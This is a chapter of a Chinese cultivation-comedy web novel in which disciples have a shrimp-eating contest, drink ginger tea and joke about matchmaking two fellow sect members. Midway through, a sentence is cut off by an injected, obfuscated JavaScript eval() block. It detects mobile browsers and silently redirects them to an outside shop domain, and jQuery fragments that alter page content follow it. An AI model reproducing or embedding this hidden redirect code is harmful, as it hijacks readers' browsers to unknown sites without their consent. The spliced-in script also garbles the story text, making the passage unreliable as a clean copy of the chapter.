文趣网 > 其他小说 > 穿成扫帚精后 > 17. 说媒人还是壁虎
    那碗虾壳摆在伏麟面前,他恶狠狠地抓起一只香辣味的虾,起身怼在绥宁面前剥的飞快,酱汁和碎壳飞溅到她脸上,道:“这么喜欢吃,给你吃!吃死你算了!”

    绥宁也不恼,笑着接住那只完整的虾尾,塞进嘴里含糊道:“师哥剥的虾就是吃起来更香,和自己剥的完全比不上。”

    鹿言月轻声笑了笑,把自己碗里的挑出几只放进绥宁碗里,道:“这里还有一份,饿了一天了多吃些,刚好还在长身体。”

    一顿饭吃的热热闹闹,绥宁身旁叠满了虾壳小山,数过去至少都有五座。

    看到周边堆高的小山,绥宁起初有些疑惑自己竟然吃了这么多吗,直到她瞄了眼鹿言月。

    鹿言月带着指套认认真真给每一只虾褪去外壳,她将碗放满虾尾后一口好几只吞咽下肚,没几口后碗空了,鹿言月又重复剥壳的动作,一直往复,小山叠的越来越多,连桌子中间的虾盘都端走好几次。

    她的速度不亚于刚才伏麟耍脾气的速度,与之不同的是鹿言月的动作更优雅,几乎周围没有酱汁飞出来,安安稳稳地落在碗里。

    绥宁这才终于明白什么叫人不可貌相,她用胳膊轻轻肘了一下鹿言月,道:“师姐,一次性吃这么多你的胃会不会难受?我听说膳堂十二个时辰都开门的,要不要慢慢吃。”

    鹿言月有些不好意思,微微抿嘴羞涩笑道:“我一直都是这样,饭量要比寻常男子和女子大些,不会胃难受的,师妹放心好了。”

    绥宁发自肺腑道:“那就好,我怕师姐吃太快了消化不好。”

    说罢,她低头手上剥虾的动作更快了,以前都是她吃的多,这回第一次被人比下去竟然生出一丝异样感,她决定要在心里和鹿言月比谁吃的更多。

    伏麟坐在对面冷哼一声,把手里刚剥好的两只虾一人一只重重丢进绥宁和鹿言月碗里,道:“吃饭就吃饭,话那么多。”

    绥宁也没空理他,一心专想着和鹿言月比赛。

    最终一顿饭吃完,李婆婆摊子的二十盘虾被吃的所剩无几,伏麟“含泪”地痛心付出二百灵石。

    绥宁拉着鹿言月坐在门槛上消食看星星,方才吃的太久膳堂的人也寥寥无几,其他门派的弟子早就回去打坐修炼或者睡觉了。

    其实最后绥宁觉得没必要比谁吃得多,不就是鹿言月剥壳的速度快了些,一口好几只吃进去了些,完全没必要像孩子一样去比拼这些。

    李婆婆又摆在门槛上三碗姜茶,道:“一人一碗喝了吧,冬季天寒气重,你们吃了这么多虾容易积冷,到时候怕是要畏寒闹肚子了。”

    绥宁端起一碗小口吹着气喝着,她望着鹿言月目光放空地看着前方。

    心下好奇,她顺着鹿言月的视线望过去,只见远处山道上有两个人影并肩,一个扎着高马尾,另一个也扎着高马尾。站在黑乎乎的天下,一个背后亮着一个月亮形状的图案,另一个背着一把细长的剑,一高一矮,不知在讨论什么或是也在一同望星星月亮。

    两个人隔着不远的距离,月亮图案的身影时不时歪头凑近矮一些的身影,那人被凑近一次就往另一边躲一下。

    鹿言月回过神,道:“那两人是姜师姐和宁无缺。”

    绥宁道:“她们两人不是今天才认识吗?这么快就一起谈天说地了?”

    鹿言月道:“说来我也觉得奇怪,姜师姐平日独来独往惯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644890|205956||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了,极少见她与人亲近。”

    绥宁眯着眼睛又看了会,姜早的背影挺得笔直,唯独两只袖子被风吹的往后飘,宁无缺似乎伸出一只手偷偷摸了把她的衣袖,往她身边走近一步,姜早也没躲。

    “你信不信她俩以后会玩的好。”

    “怎么说?”

    “女人的第六感。”

    鹿言月被她逗笑,喝进嘴里的姜茶趁机呛了她一口,她咳完嗽擦擦嘴角,道:”你总是能说出一些奇怪的话。“

    绥宁道:“哪里奇怪了?这叫敏锐,你看,姜师姐和宁无缺白天还在争论,完了切磋的时候又抽到她们俩对打,在台上你挥鞭子我出剑的,晚上两个人就走到一块散步了。你不也和我一起说过觉得宁无缺当时像是在调戏姜师姐吗?这叫什么?这叫不打不相识,这叫天定良·····”

    “人还没师姐的剑高,想的倒比她还长。”伏麟结完账后靠在门框后的柱子上,阴阳怪气道:“大半夜的吃完东西不回去修炼睡觉,蹲在门槛上看人家站山道,还要给人家安排恋爱戏份,你们是来修仙的还是来当媒婆的?”

    绥宁不回头,道:“说媒我们也要第一个给你说,云瑶三公主还记得吗?人家等着娶你回去当平妻呢,这么好一桩姻缘你不要真是瞎了眼了。偷听那么多次师妹说话,我看你也不是修炼的,你肯定是壁虎成精。”

    显而易见,伏麟又被噎住嘴,他往前走一步弯腰端起姜茶就往嘴里灌,闷声道:“你们堵在门口还不让人说了,谁想偷听你们说话。”

    绥宁转头看着他,见他脖子上挂着一根细麻绳,麻绳上面系着两坛酒,一只手提着一个鼓鼓囊囊的粗布包,另一只手端着那碗姜茶